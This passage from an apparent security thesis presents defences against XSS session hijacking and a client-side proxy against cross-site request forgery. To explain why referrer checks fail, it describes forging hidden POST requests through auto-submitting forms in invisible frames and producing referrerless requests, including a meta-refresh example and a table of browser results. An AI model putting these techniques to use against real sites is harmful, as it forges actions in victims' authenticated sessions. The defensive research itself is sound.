Section 7.3.4 we briefly discuss how the concepts can be realised on the client-side.
Depending on the web application’s security requirements one or more of these tech-
niques can be implemented. A combination of these countermeasures is able to protect
a web application against all currently known session hijacking attacks.
Please note: Some of the proposed techniques employ JavaScript. This approach is
valid, as these methods are designed to protect against JavaScript based attacks - in
situations in which no JavaScript is available, implementing these defense techniques is
unnecessary.

Methodology

The following methodology was utilized to design and implement our countermeasures:

1. First the targeted attacks were analysed systematically to isolate at least one nec-
essary technical requirement for the attack to function as wanted by the attacker.
Such a requirement is characterized by the fact that if the attacker is deprived
of the requirement’s corresponding capability, he cannot successfully execute the
attack any longer. See Table 7.1 for a brief overview of the respective isolated
requirements and Sections 7.2.1 to 7.2.3 for further details.

2. In a second step, technical countermeasures were designed that aimed to revoke

these specific requirements.
E.g., if attack A1 necessarily requires the technical capability to do action a1 on
object o1 , we aimed to design a countermeasure that revokes this capability.

99
7. Protection Against Session Hijacking

Attack Capability Objects

SID theft Read access via JavaScript Cookie data
Browser hijacking Read access / prior knowledge Utilized URLs
Background XSS propagation Read/write access via Javascript Other pages of the
same application

Table 7.1.: Required capabilities of the attacks

3. Finally, we ensured that the countermeasure’s targeted protection coverage is

achieved through theoretical and practical evaluation. Furthermore, we assessed
the limitations and drawbacks of the countermeasure.

7.2. Practical session hijacking countermeasures

7.2.1. Session ID protection through deferred loading
To successfully launch a SID theft attack, the adversary has to be able to read the
SID via JavaScript in order to transmit it outside of the attacked browser. Thus, the
adversary necessarily has to possess the capability to read the SID value.
Consequently, the main idea of the proposed technique is twofold:

• For one, we store the SID in such a way that malicious JavaScript code bound by
the SOP is not able to access it any longer.

• Secondly, we introduce a deferred process of loading the webpage, so that security

sensitive actions can be done, while the page is still in a trustworthy state. This
deferred loading process also guarantees the avoidance of timing problems.

To successfully protect the SID, it has to be kept out of reach for any JavaScript that is
embedded into the webpage. For this reason, we store the SID in a cookie that does not
belong to the webpage’s domain. Instead, the cookie is stored for a different (sub-)domain
that is also under the control of the web application. In the following paragraphs the
main web application will reside on www.example.org, while the cookies will be set for
secure.example.org. The domain secure.example.org is hosted on the same server
as the main web application. Server scripts of the main web application have to be able
to share data and/or communicate with the server scripts on secure.example.org for
this technique to work. On the secure domain only two simple server scripts exist:
getCookie.ext and setCookie.ext. Both are only used to transport the cookie data.
The data that they respond is irrelevant - in the following description they return a
1-by-1 pixel image.
To carry out the deferred loading process we introduce the PageLoader. The PageLoader
is a JavaScript that has the purpose to manage the cookie transport and to load the web-
page’s content. To transport the cookie data from the client to the server it includes an
image with the getCookie.ext script as URL. For setting a cookie it does the same with

100
 7.2. Practical session hijacking countermeasures

the setCookie.ext script. To display the webpage’s body the PageLoader requests the
body data using the XMLHttpRequest object. Alternatively iframe or script inclusion
can be employed on older browsers (see Sec. 1.3).
In the following specifications the abbreviations “RQ” and “RP” denote respectively
“HTTP request” and “HTTP response”.

Getting the cookie data

The process of transferring an existing cookie from the client to the server is straight
forward. In the following scenario the client web browser already possesses a cookie for
the domain secure.example.org. The loading of a webpage for which a cookie has
been set consists of the following steps (see figure 1.a):

1. The client’s web browser sends an HTTP request for www.example.org/index.ext

(RQ1).

2. The web server replies with a small HTML page that only contains the PageLoader
(RP1).

3. The PageLoader includes the getCookie.ext image in the DOM tree of the web-
page. This causes the client’s web browser to request the image from the server
(RQ2). The cookie containing the SID that is stored for secure.example.org is
included in this request automatically.

4. The PageLoader also requests the webpage’s body using the XMLHttpRequest
object (RQ3). This HTTP request happens parallel to the HTTP request for the
getCookie.ext image.

5. The web server waits with the answer to RQ3 until it has received and processed
the request for the getCookie.ext image. According to the cookie data that this
request contains, the web server is able to compute and send the webpage’s body
(RP2).

6. The PageLoader receives the body of the webpage and uses the document.write
method to display the data.

The web server has to be able to identify that the last two HTTP requests (RQ2 and
RQ3) where initiated by the same PageLoader and therefore came from the same client.
For this reason the PageLoader uses a request ID (RID) that is included in the URLs
of the request RQ2 and RQ3. The RID is used by the web server to synchronize the
request data between the domains www and secure.

Setting a cookie
The usually preceding process of transferring existing cookie data from the client to the
server, as described above, is left out for brevity. With this simplification the setting of
a cookie consists of the following steps (see figure 1.b):

101
7. Protection Against Session Hijacking

a. Getting a cookie b. Setting a cookie

Figure 7.1.: schematic view of the processes

1. The client’s web browser sends an HTTP request for www.example.org/index.ext

(RQ1).

2. The web server replies with the PageLoader (RP1) and the PageLoader subse-
quently requests the body data (RQ2).

3. The web server computes the request RQ2. Because of the outcome of the compu-
tation the server decides to place a cookie. The server replies with “SETCOOKIE”
to the PageLoader’s request for the body data (RP2).

4. The PageLoader receives the “SETCOOKIE” token and includes the setCookie.ext
image in the DOM tree of the webpage. This causes the client’s web browser to
request the image from the server (RQ3).

5. The PageLoader also requests the webpage’s body once more (RQ4). This HTTP
request happens parallel to the HTTP request for the setCookie.ext image.

6. The web server receives the request for the image and includes the cookie data in
the response (RP3). The web server marks the RID as “used” (see below).

7. The web server waits with the answer to RQ4 until it successfully delivered the
setCookie.ext image to the client. After the image request has been processed
the body data gets sent (RP4).

102
 7.2. Practical session hijacking countermeasures

There is an important timing aspect to take into consideration: The PageLoader

should not display the HTML body data before the cookie setting process is finished,
and the web server should never reply more than once to a setCookie.ext request
containing the same RID value. Otherwise, the security advantage of the proposed
method would be lost, because after the HTML body data is displayed in the client’s
browser a malicious JavaScript might be executed. This script then could traverse the
DOM tree to obtain the full URL of the setCookie.ext image and communicate this
information via the internet to the attacker. If, at this point of time, the web server
still treats this image URL (more precise: the RID value) as valid, the attacker would
be able to successfully request the image including the cookie data from the web server.
If no invalidation of the RID happens, the described technique will only shift the attack
target from losing the cookie value to losing the RID value. For the same reason,
the RID value must be random and of sufficient length in order to prevent guessing
attacks. Because of the restrictions posed by the Same Origin Policy, the cookies stored
for secure.example.org are not accessible by JavaScript embedded into a page from
www.example.org. Furthermore, JavaScript is not allowed to change document.domain
to secure.example.org because this value is not a valid domain suffix of the original
host value www.example.org. The secure subdomain only contains the two specified
server scripts for cookie transportation. The reply data of these server scripts does not
contain any dynamic data. Thus, an XSS attack on secure.example.org is not feasible.
Therefore, the proposed technique successfully prevents cookie stealing attacks without
limiting cookie usage.

7.2.2. One-time URLs

Again, as outlined in Section 7.1, to defend against browser hijacking (see 4.1.2) we aim
to deprive the adversary of fundamentally required capabilities which are needed for this
attack class to succeed.
Every browser hijacking attack has one characteristic in common: The attacking script
submits one or more HTTP requests to the server and potentially parses the server’s
response. The basis for this attack is therefore the attacker’s knowledge of the web ap-
plication’s URLs. The main idea of the proposed countermeasure is to enhance the ap-
plication’s URLs with a secret component which cannot be known, obtained, or guessed
by the attacking JavaScript. As long as the server responds only to requests for URLs
with a valid secret component, the attacker is unable to execute a browser hijacking
attack.
To determine the requirements for successful URL hiding we have to examine the
abilities of rogue JavaScript. The secret URL component has to satisfy the following
limitations:

• It has to be unguessable.

• It must not be stored in an HTML element, e.g. a hidden form field. JavaScript
can access the DOM tree and therefore is able to obtain any information that is
included in the HTML code.

103
7. Protection Against Session Hijacking

• It must not be stored in public JavaScript variables. All JavaScript code in one
webpage exists in the same namespace. Therefore, a malicious script is able to
execute any existing JavaScript function and read any available public variable.

• It must not be hard coded in JavaScript. Every JavaScript element (i.e. object,
function or variable) natively supports the function toString() which per default
returns the source code of the element. Malicious script could use this function to
parse code for embedded information.

• It has to be valid only once. Otherwise, the attacker’s script could use the value
of document.location to emulate the loading process of the displayed page.

Thus, the only place to keep data protected from malicious JavaScript is a private
variable of a JavaScript object (see Sec. 1.3.3). In the following paragraphs we show how
this approach can be implemented. We only describe this implementation in respect of
randomizing hyperlink URLs. The randomization of HTML forms is left out for brevity
- the applicable technique is equivalent.

The URLRandomizer Object

Our approach uses a URL GET parameter called “rnonce” to implement the URL ran-
domization. Only URLs containing a valid rnonce are treated as authorized by the
web server. To conduct the actual randomization of the URLs we introduce the URL-
Randomizer, a JavaScript object included in every webpage. As introduced above, the
URLRandomizer object contains a private variable that holds all valid randomization
data. During object creation the URLRandomizer requests from the web server a list of
valid nonces for the webpage’s URLs. This request has to be done as a separate HTTP
request on runtime. Otherwise, the list of valid nonce would be part of the source code of
the HTML page and therefore unprotected against XSS attacks. The URLRandomizer
object also possesses a privileged method called “go()” that has the purpose to direct
the browser to new URLs. This method is called by hyperlinks that point to URLs that
require randomization:
1 <a href ="\#" onclick =" URLRandomizer . go ( ’ placeOrder . ext ’);" > Order </ a >

The go() method uses the function parameter and the object’s private randomization
data to generate a URL that includes a valid rnonce. This URL is immediately assigned
to the global attribute document.location causing the client’s web browser to navigate
to that URL. Listing 1 shows a sketch of the URLRandomizer’s go() function. In this
code “validNonces” is a private hashtable containing the valid randomization data.
1 this . go = function ( path ){
2 var nonce = validNonces [ path ];
3 document . location =
4 " http :// www . example . org /"+ path +"? rnonce ="+ nonce ;
5 }

Listing 7.1: Sketch of the URLRandomizers go() function

104
 7.2. Practical session hijacking countermeasures

Timing aspects

As mentioned above, the URLRandomizer obtains the valid randomization data from
the server by requesting it via HTTP. This leads to the following requirement: The URL
that is used to get this data also has to be randomized and limited to one time use. It
is furthermore important, that the URLRandomizer object is created early during the
HTML parsing process and that the randomization data is requested on object creation.
Otherwise, malicious JavaScript could examine the source code of the URLRandomizer
to obtain the URL for the randomization data and request it before the legitimate object
does. As long as the definition and creation of the URLRandomizer object is the first
JavaScript code that is encountered in the parsing process, this kind of timing attack
cannot happen.

Entering the randomized domain

It has to be ensured that the first webpage, which contains the URLRandomizer object,
was not requested by a potential malicious JavaScript, but by a proper user of the web
application. Therefore, an interactive process that cannot be imitated by a program
is required for the transition. The natural solution for this problem is combining the
changeover to one-time URLs with the web application’s authentication process. In sit-
uations where no authentication takes place CAPTCHA (Completely Automated Public
Turing-Test to Tell Computers and Humans Apart) technology [263] can be employed
for the transition. If no interactive boundary exists between the realms of static and
one-time URLs, a malicious JavaScript would be able to request the URL of the entry
point to the web application and parse its HTML source code. This way the script is
able to acquire the URL that is used by the URLRandomizer to get the randomization
data.

Disadvantages of this approach

The proposed method poses some restrictions that break common web browser func-
tionality: Because it is forbidden to use a random nonce more than once, the web server
regards every HTTP request that includes an invalidated nonce as a potential security
breach. Depending on the security policy such a request may result in the termina-
tion of the authenticated session. Therefore, every usage of the web browser’s “Back”
or “Reload” buttons pose a problem because these buttons cause the web browser to
reload pages with invalid nonces in their URLs. A web application using one-time URLs
should be verbose about these restrictions and provide appropriate custom “Back” and
“Reload” buttons as part of the application’s GUI. It is also impossible to set bookmarks
for URLs that lie in the randomized area of the web application, as the URL of such
a bookmark would contain an invalid random nonce. Other issues, e.g. the opening of
new browser windows, can be solved using DHTML techniques. Because of the described
restrictions, a limitation on the usage of one-time URLs for only security sensitive parts
of the web application may be recommendable.

105
7. Protection Against Session Hijacking

Alternative solutions

Some of the limitations mentioned above exist because the proposed URLRandomizer
object is implemented in JavaScript. As described above the separation of two different
JavaScript objects running in the same security context is a complex and limited task.
Especially the constraint that a random nonce can be used only once is due to the
described problems. An alternative approach would be using a technology that can be
separated cleanly from potential malicious JavaScript. There are two technologies that
might be suitable candidates: Java applets [250] and Adobe Flash [3]. Both technologies
have characteristics that suggest that they might be suitable for implementing the URL
randomizing functionality: They provide a runtime in the web browser for client side
code which is separated from the JavaScript runtime, they possess interfaces to the web
browser’s controls, they are able to export functionality to JavaScript routines and they
are widely deployed in today’s web browsers. Before implementing such a solution, the
security properties of the two technologies have to be examined closely, especially in
respect of the attacker’s capability to include a malicious Java or Flash object in the
attacked web page.

7.2.3. Subdomain switching

The underlying fact which is exploited by the attacks described in Section 4.1.3 is,
that webpages with the same origin implicitly trust each other and, thus, can read and
write each others content. Because of this circumstance rogue iframes or background
windows are capable of inserting malicious scripts in pages that would not be vulnerable
otherwise. As years of security research have taught us, implicit trust is seldom a good
idea - instead explicit trust should be the default policy.
Consequently, according to the methodology outlined in Section 7.1, our proposed
countermeasure is to revoke the inter-page read/write capabilities which are inherently
granted to the JavaScript through the implicit trust relationship between the applica-
tion’s individual pages.
To remove this implicit trust between individual webpages that belong to the same web
application, we have to ensure that no trust relationship between these pages induced
by the Same Origin Policy exists: As long as the document.domain property for every
page differs, background XSS propagation attacks are impossible.
To achieve this trust removal, we introduce additional subdomains to the web applica-
tion. These subdomains are all mapped to the same server scripts. Every link included
into a webpage directs to a URL with a subdomain that differs from the domain of the
containing webpage. For example a webpage loaded from http://s1.www.example.org
only contains links to http://s2.www.example.org. Links from s2.www.example.org
would go to s3.www... and so on. As a result every single page possesses a different
document.domain value. In cases where a page A explicitly wants to create a trust rela-
tionship to a second page B, pages A and B can change their document.domain setting
to exclude the additional subdomain.

106
 7.3. Discussion

Tracking subdomain usage

As mentioned above, all added subdomains map to the same server scripts. Therefore,
the URL http://s01.www.example.org/order.ext points to the same resource as for
example the URL http://s99.www.example.org/order.ext. The subdomains have no
semantic function; they are only used to undermine the implicit trust relationship. If
a malicious script rewrites all URLs in a page to match the script’s document.domain
value, the web application will still function correctly and a background propagation
attack will again be possible. For this reason, the web server has to keep track which
mapping between URLs and subdomains have been assigned to a user’s session.

Implementation aspects
The implementation of the subdomains is highly dependent on the application server
used. For our implementation we used the Apache web server [167] which allows the us-
age of wildcards in the definition of subdomain names. Consequently, we had unlimited
supply of applicable subdomain names. This allows the choice between random subdo-
main names or incrementing the subdomain identifier (s0001.www links to s0002.www
which links to s0003.www and so on). On application servers that do not offer such an
option and where, therefore, the number of available subdomain names is limited, the
web application has to be examined closely. It has to be determined how many sub-
domains are required and how the mapping between URLs and subdomains should be
implemented. These decisions are specific for each respective web application.

7.3. Discussion
7.3.1. Combination of the methods
Before implementing the countermeasures described in Section 7.2, the web application’s
security requirements and environment limitations have to be examined. A combination
of all three proposed methods provides complete protection against all known session
hijacking attacks:

• The Deferred Loading Process prevents the unauthorized transmission of SID in-
formation, thus, reliably stops SID theft attacks.

• Subdomain Switching limits the impact of XSS vulnerabilities to only the vulner-
able pages. Therefore, the propagation of a malicious script from one web page to
the next is impossible.
Furthermore Browser Hijacking attacks that rely on the attacker’s capability to
access the content of the attack’s HTTP responses are also prevented as the XML-
HttpRequest object is bound by the Same Origin Policy: With Subdomain Switch-
ing in effect the attacking script would have to employ iframe or image inclusion
to create the attack’s HTTP request.

107
7. Protection Against Session Hijacking

• Finally, One-Time URLs prevent all browser hijacking attacks as the adversary’s
script is not able to address valid URL-based resources of the application anymore.

It is strongly advisable to implement all three methods if possible. Otherwise, the

targeted security advantage might be lost in most scenarios.

7.3.2. Limitations
As shown above, a combination of the countermeasures protects against the session hi-
jacking attacks described in Section 4.1. However, on the actual vulnerable page in which
the XSS code is included, the script still has some capabilities, e.g altering the page’s
appearance or redirecting form actions. Thus, especially webpages that include HTML
forms should be inspected thoroughly for potential weaknesses even if the described
techniques were implemented.
The described techniques are not meant to replace input checking and output sanita-
tion completely. They rather provide an additional layer of protection to mitigate the
consequences of occurring XSS vulnerabilities.

7.3.3. Transparent implementation

An implementation of the proposed methods that is transparent to existing web appli-
cations is desirable. Such an implementation would allow to protect legacy applications
without code changes.

Deferred Loading
There are no dependencies between the deferred loading process and the content of
the application’s webpages. Therefore, a transparent implementation of this method is
feasible. It can be realized using an HTTP proxy positioned before the server scripts:
The proxy intercepts all incoming and outgoing HTTP messages. Prior to transferring
the request to the actual server scripts, the “get cookie” process is executed (see figure
7.2). Before sending the HTTP response to the client, all included cookies are stripped
from the response and send to the client via the “set cookie” process.

One-Time URLs and Subdomain Switching

Implementing One-Time URLs and Subdomain Switching in a transparent fashion poses
in both cases very similar challenges. In this section, we outline an implementation of
One-Time URLs. Most of the here discussed issues also concern Subdomain Switching.
However, Subdomain Switching does not pose additional difficulties.
A transparent implementation of One-Time URLs also would employ proxy like func-
tionality. All incoming requests are examined whether their URLs are valid, i.e. contain
a valid random nonce. All outgoing HTML data is modified to use the specified URLs.
Implementing such a proxy is difficult because all application local URLs have to be
rewritten for using the randomizer object. While standard HTML forms and hyperlinks

108
 7.3. Discussion

Figure 7.2.: Transparent implementation of the “get cookie” process

pose no special challenge, prior existing JavaScript may be harder to deal with. All
JavaScript functions that assign values to document.location or open new windows
have to be located and modified. Also all existing onclick and onsubmit events have
to be rewritten. Furthermore, HTML code might include external referenced JavaScript
libraries, which have to be processed as well. Because of these problems, a web appli-
cation that is protected by such a solution has to be examined and tested thoroughly.
Therefore, an implementation of the proposed methods as a library for hyperlink and
form creation is preferable.

7.3.4. Client-side protection

As we already have shown in Section 7.3.3, the proposed countermeasures can be im-
plemented in the form of an HTTP proxy. As the proxy requires only very limited
application-specific configuration, it does not have to be necessarily located on the server-
side. It might as well be part of the client’s local networking infrastructure.
However, the protection measures provided by the deferred loading process can be
solved with less effort on the client-side: The sole purpose of deferred loading is to prevent
malicious JavaScript from reading the SID cookie. On the client-side this measure can
be implemented without introducing a second subdomain or the PageLoader:

• Within a client-side proxy: A client-side HTTP proxy can enforce a transparent

transformation of incoming and outgoing cookie data, e.g., by using symmetrical
encryption:
The proxy encrypts every incoming cookie C with an application specific key Ka :
Ce = e(C, Ka ))

109
7. Protection Against Session Hijacking

Every outgoing cookie is decrypted with Ka before sending it to the application:

C = d(Ce , Ka )

Within the browser only the encrypted cookie is known, therefore only the en-
crypted data is accessible to the attacker via JavaScript. As the attacker does not
possess Ke , he cannot obtain a valid SID.
• Within the Browser: If the countermeasure is implemented directly within the
web browser, the actual JavaScript engine can be modified to surpress access to
cookie values, as it is enforced by HTTP-only cookies1 [193].

7.4. Conclusion
In this chapter we presented three complementary protection techniques against XSS
session hijacking attacks. A combination of the three methods successfully prevents all
currently known attacks of this specific attack class.
To achieve this, we classified currently known methods for session hijacking (see
Sec. 4.1). Through a systematic examination of the resulting attack classes, we identified
the basic requirements for each of these attack methodologies: SID accessibility in the
case of Session ID Theft, prior knowledge of URLs in the case of Browser Hijacking and
implicit trust between webpages in the case of Background XSS Propagation.
Based on our analysis of the JavaScript language and the web application paradigm
(see Chapter 1) we isolated the two instruments provided by the web browser architecture
that can be used to enforce access restrictions in connection with JavaScript: The SOP
(see Sec. 1.3.1) and private members in JavaScript objects (see Sec. 1.3.3).
Using the knowledge gained by the attack classification, we were able to apply these
security mechanisms to remove the attack classes’ foundations: To undermine the SID
accessibility, the SID is kept in a cookie which belongs to a different subdomain than
the main web application. To achieve this, we developed a deferred loading process
which allows to execute the cookie transport while the web page is still in a trustworthy
state. To undermine the pre-knowledge of the application’s URLs, valid One-Time
URLs are hidden inside private members of the URLRandomizer JavaScript object.
Finally, additional subdomains are introduced by Subdomain Switching, in order to
create a separate security domain for every single webpage. This measure employs the
SOP to limit the impact of XSS attacks to the vulnerable pages only. Consequently,
each proposed countermeasure removes the fundamental necessities of one of the attack
classes, hence disabling it reliably. By preventing session hijacking, a large slice of the
attack surface of XSS can be removed.
The proposed countermeasures do not pose limitations on the development of web
applications and only moderate restrictions on web GUI functionality. They can be
1
Please note: At the time of the original publication of the proposed countermeasures in [123], HTTP-
only cookies where supported only by a fraction of available web browsers and practical evasion
techniques existed [84, 154]. Even at the time of writing this thesis, coverage of HTTP-only is
incomplete.

110
 7.4. Conclusion

implemented as an integral component of the application server and thus easily be inte-
grated in the development or deployment process.

Protection evaluation: To conclude this chapter, we briefly map the proposed coun-
termeasure’s protection capabilities against our threat classification (see Sec. 3.4). Im-
plementing our countermeasures provides complete protection against the threats

• A.1.s.1 (session hijacking) and

• A.1.c.1 (leaking of session data).

Furthermore, the severity of the threats A.1.c.2 and A.1.c.3 (leaking of passwords and
sensitive information) is reduced significantly because the XSS attack is limited to only
the vulnerable pages which not necessarily contain the targeted information.

111
7. Protection Against Session Hijacking

112
8. Protection Against Cross-Site Request
Forgery

8.1. Motivation
As discussed in Section 5.1, CSRF is a JSDA located within the browser execution-
context. For a CSRF attack to succeed, the targeted web site has to expose a common
flaw in its authentication tracking mechanism: The failure to discard or detect unso-
licited, cross-domain requests which possess elevated access rights due to browser-level
authentication tracking mechanisms (see Sec. 1.2.1 and 5.1.1).
In this chapter, we propose a client-side solution to enable security conscious users
to protect themselves against such CSRF attacks. The proposed countermeasure was
originally published in [133].

8.2. Current defence

This section documents how CSRF issues are currently handled in practise. We both
discuss the correct way of avoiding CSRF problems as well as flawed techniques which
have been shown to be ineffective.

8.2.1. Flawed protection approaches due to existing misconceptions

As CSRF relies on a flaw in the targeted web application, commonly discussed counter-
measure are located on the server-side, focused on the flawed application. However, due
to the rather obscure and underestimated nature of CSRF, one frequently encounters
several misconceptions regarding CSRF protection in real life code. This section briefly
discusses such mistakes to illustrate the attack’s characteristics.

• Accepting only HTTP POST requests: A frequent assumption is, that a web
application which only accepts form data from HTTP POST request is protected
against CSRF, as the popular attack method of using img-tags only creates HTTP
GET requests.
This is not true: To create hidden POST requests, invisible frames or iframes can
be employed: In a hidden frame, which is included in the malicious site, a webpage
containing an HTML form is loaded. This form’s method is set to “POST” and its
action-attribute targets a resource of the attacked web application. The form’s
elements are set to default values which enable the intended attack. Furthermore,

113
8. Protection Against Cross-Site Request Forgery

the frame contains a JavaScript which automatically submits the form after the
frame has been loaded, thus initiating a hidden HTTP POST request.
This method requires JavaScript to be enabled for the attacked site within the
victim’s web browser. In situations where JavaScript is not enabled, the attacker
might try to convince the victim to click on a certain area of the malicious page,
thus submitting the form. This attack variant might be rather brute and de-
tectable, as now the attacking frame has to be visible.

• Referrer checking: An HTTP request’s referrer [74] indicates the URL of the
webpage that contained the HTML link or form that was responsible for the re-
quest’s creation. The referrer is communicated via the HTTP Referer-header
field.
Therefore, in theory, to protect against CSRF, a web application could check if a
request’s referrer matches the web application’s domain. If this is not the case, the
request could be rejected.
However, some users prohibit their web browsers to send referrer information be-
cause of privacy concerns. For this reason, web applications have to accept re-
quests, that do not carry referrer information. Otherwise they would exclude a
certain percentage of potential users from their services. It is possible for an at-
tacker to reliably create referrerless requests (see below). Consequently, any web
application that accepts requests without referrers cannot rely on referrer checking
as protection against CSRF.
In the course of our research, we conducted an investigation on the different possi-
bilities to create HTTP requests without referrers in a victim’s browser. We found
three different methods to create hidden request that do not produce referrers.
Depending on the web browser the victim uses, one or more of these methods are
applicable by the attacker.

1. Page refresh via meta-tag: This method employs the “HTTP-EQUIV = Re-
fresh” meta-tag. The tag specifies an URL and a timeout value. If such a tag
is found in the head-section of an HTML document, the browser loads the
URL after the given time. Example:
1 < META HTTP - EQUIV = Refresh CONTENT ="0; URL = http :// path \ _to \ _victim " >

On some web browsers the HTTP GET request, which is generated to retrieve
the specified URL, does not include a referrer. It is not possible to create a
POST request this way.
2. Dynamically filled frame: To generate hidden POST requests, the attacker
can use an HTML form with proper default values and submit it automati-
cally with JavaScript. To hide the form’s submission the form is created in
an invisible frame. As long as the src-attribute of the frame has not been
assigned a value, the referring domain value stays empty. Therefore, the form

114
 8.2. Current defence

Method/Browser IE 5 IE 6∗ IE 7∗∗ FF 1.07 FF 1.5 O8 S 1.2

META Refresh X X
Dynamic filled frame X X X X X X
Pop up window (regular) X X X
Pop up window (dynamically filled) X X
IE: Internet Explorer; FF: Firefox; S: Safari; O: Opera; *: IE 6 XPSP 2; **: IE 7 (Beta 2)

Table 8.1.: Generating referrerless requests (“X” denotes a working method)

cannot be loaded as part of a predefined webpage. It has to be generated dy-

namically. The creation of the form’s elements is done via calls to the frames
DOM tree [102].
3. Pop under window: The term pop under window denotes the method of
opening a second browser window that immediately sends itself to the back-
ground. On sufficiently fast computers users often fail to notice the opening
of such an unwanted window. This kind of window can be used to host an
HTML form that is submitted automatically via JavaScript. The form can be
generated by calls to the DOM tree or by loading a prefabricated webpage.
Depending on the victim’s browser one of these methods may not produce a
referrer (see Table 8.1 for details).

To examine the effectiveness of the described methods, we tested them with com-
mon web browsers. See Table 8.1 for the results of our investigation. The only
web browser that was resistant to our attempts was Opera.

8.2.2. Manual protection

During the conception and development of a web application two different strategies can
be employed to correctly secure the application against CSRF:

• Using random form tokens: To prevent CSRF attacks, a web application has to
make sure that incoming form data originated from a valid HTML form. “Valid”
in this context denotes the fact that the submitted HTML form was generated by
the actual web application in the first place. It also has to be ensured that the
HTML form was generated especially for the submitting client. To enforce these
requirements, hidden form elements with random values can be employed. These
values are used as one-time tokens: The triplet consisting of the form’s action URL,
the ID of the client (e.g the session ID) and the random form token are stored by
the web application. Whenever form data is submitted, the web application checks
if this data contains a known form token which was stored for the submitting client.
If no such token can be found, the form data has been generated by a foreign form
and consequently the request will be denied. See [234] for a similar approach.
• Using application-level authentication: As discussed in Section 1.2.2, there
are methods to communicate the user’s authenticated state explicitly: Authenti-
cation tokens can be included into the web application’s URLs or transported via

115
8. Protection Against Cross-Site Request Forgery

hidden fields in HTML forms. These techniques are resistant to CSRF attacks,
because to create an authenticated, cross-domain request the adversary would be
required to know the authentication credential which has to be added explicitly
to the request. As the credential is kept secret by the application, the attacker
cannot create such a request.
However, as outlined in Section 1.2, the existing methods for application-level au-
thentication tracking have serious drawbacks, either in security or usability. Solely
relying on such mechanisms is therefore not advisable. But a combination of
browser-level and application-level authentication would be feasible and secure.
E.g., the authentication credential could be split in two parts, one part communi-
cated implicitly via the Cookie-header and the other part explicitly added as an
URL parameter.

8.3. Concept overview and methodology

As described in Section 5.1 the fundamental mechanism that is responsible for CSRF
attacks to be possible is the automatic inclusion of authentication data in any HTTP
request that matches the authentication data’s scope via browser-level authentication
tracking mechanisms.

Methodology
To design the countermeasure, we used a methodology similar to the one discussed in
Section 7.1. We analysed the class of CSRF attacks systematically to isolate at least one
necessary technical requirement for the attack to function as wanted by the attacker.
Then we investigated methods to withdraw this capability from the attacker without
disturbing the actual web application.
For CSRF-attacks to function, the adversary has to be able to create HTTP requests
within the attacked web browser which are automatically outfitted with authentication
credentials via browser-level authentication tracking. Therefore, if the countermeasure
successfully stops the automatic adding of authentication credentials to cross-domain
requests, the attack is not possible anymore.

Overview
As motivated above, our solution disables the automatism that causes the sending of
the authentication data. For this purpose, we introduce a client-side mechanism which
observes and modifies the HTTP traffic between browser and web sever. This mechanism
identifies HTTP requests which qualify as potential CSRF attacks and strips them from
all possible authentication credentials.
In the remainder of this chapter we describe our solution in form of a client-side proxy.
We chose to implement our solution in form of such a proxy instead of integrating it
directly into web browser technology, because this approach enables CSRF protection

116
 8.3. Concept overview and methodology

for all common web browsers, thus, lowering the deployment effort and encouraging wide
usage.

Identification of suspicious requests

The proxy resides between the client’s web browser and the web application’s server.
Every HTTP request and response is routed through the proxy. Because of the fact that
the browser and the proxy are separate entities, the proxy is unable to identify how an
HTTP request was initiated. To decide if an HTTP request is legitimate or suspicious
of CSRF, we introduce a classification:

Definition 8.1 (entitled) An HTTP request is classified as entitled only if:

• It was initiated because of the interaction with a web page (i.e. clicking on a link,
submitting a form or through JavaScript) and

• the URLs of the originating page and the requested page satisfy the SOP. This
means that the protocol, port and domain of the two URLs have to match.
Only requests that were identified to be entitled are permitted to carry browser-level
authentication tracking information.

This means, that only HTTP requests are trusted to carry browser-level authentication
tracking information which originated from a webpage that belongs to the same web
application as the target of the request.
To determine if a request can be classified as entitled, the proxy intercepts every HTTP
response and augments the response’s HTML content: Every HTML form, link and other
means of initiating HTTP requests is extended with a random URL token. Furthermore,
the tuple consisting of the token and the response’s URL is stored by the proxy for future
reference. From now on, this token allows the proxy to match outgoing HTTP requests
with prior HTTP responses. Every request is examined whether it contains a URL token.
If such a token can be found, the proxy compares the token value to the values which
have been used for augmenting prior HTTP responses. This way the proxy is able to
determine the URL of the originating HTML page. By comparing it with the request’s
URL, the proxy can decide if the criteria defined in Definition 8.1 are met. If this is not
the case, all browser-level authentication information is removed from the request.

Removal of authentication credentials

• Cookies and HTTP authentication: As discussed in Section 1.2.1 there are
two different methods of browser-level authentication tracking used by today’s web
applications that include credentials in the HTTP header: HTTP authentication
and cookies.
If the proxy encounters an HTTP request, that cannot be classified as entitled, the
request is examined if its header contains Cookie or Authorization fields. If such
header fields are found, the proxy triggers a reauthentication process. This is done

117
8. Protection Against Cross-Site Request Forgery

either by removing the Cookie header field or by ignoring the Authorization field
and requesting a reauthentication before passing the request on to the server.
Following the triggered reauthentication process, all further requests will be entitled
as they originated from a page that belongs to the web application (beginning with
the webpage that executed the reauthentication).

• IP address based authentication: We discuss prevention of CSRF in respect

to this special method of browser-level authentication tracking in Chapter 9.

• Client side SSL authentication: Our proxy-based solution is not yet able to
prevent CSRF attacks that exploit client-side SSL authentication. This is a gen-
eral shortcoming of proxy-based solutions, as the SSL was specifically designed
to prevent man-in-the-middle situations. This short coming can be solved by im-
plementing the countermeasure directly into the browser (as outlined in Section
8.4.2).

8.4. Implementation
8.4.1. Implementation as a client side proxy
We implemented a proof of concept of our approach using the Python programming
language with the Twisted [73] framework. Free Python interpreters exist for all major
operating systems. Thus, using our solution should be possible in most scenarios. Our
implementation is named “RequestRodeo”. In the next paragraphs we discuss special
issues that had to be addressed in order to enforce the solution outlined in Section 8.3.

Augmenting the response’s HTML content

The process of adding the random tokens to a webpage’s URLs is straight forward: The
proxy intercepts the server’s HTTP response and scans the HTML content for URLs.
Every URL receives an additional GET parameter called rrt (for “RequestRodeoTo-
ken”). Furthermore, JavaScript code that may initiate HTTP requests is altered: The
proxy appends a JavaScript function called addToken() to the webpage’s script code.
This function assumes that its parameter is an URL and adds the GET token to this
URL. Example: The JavaScript code
1 document . location = someVariable ;

is transformed to
1 document . location = addToken ( someVariable );

This alteration of URLs that are processed by JavaScript is done dynamically because
such URLs are often assembled on script execution and are therefore hard to identify
reliably otherwise.

118
 8.4. Implementation

Removal of header located authentication credentials

The following aspects had to be taken into consideration:

• Cookies: If a Cookie header field is found in a suspicious request, it is deleted

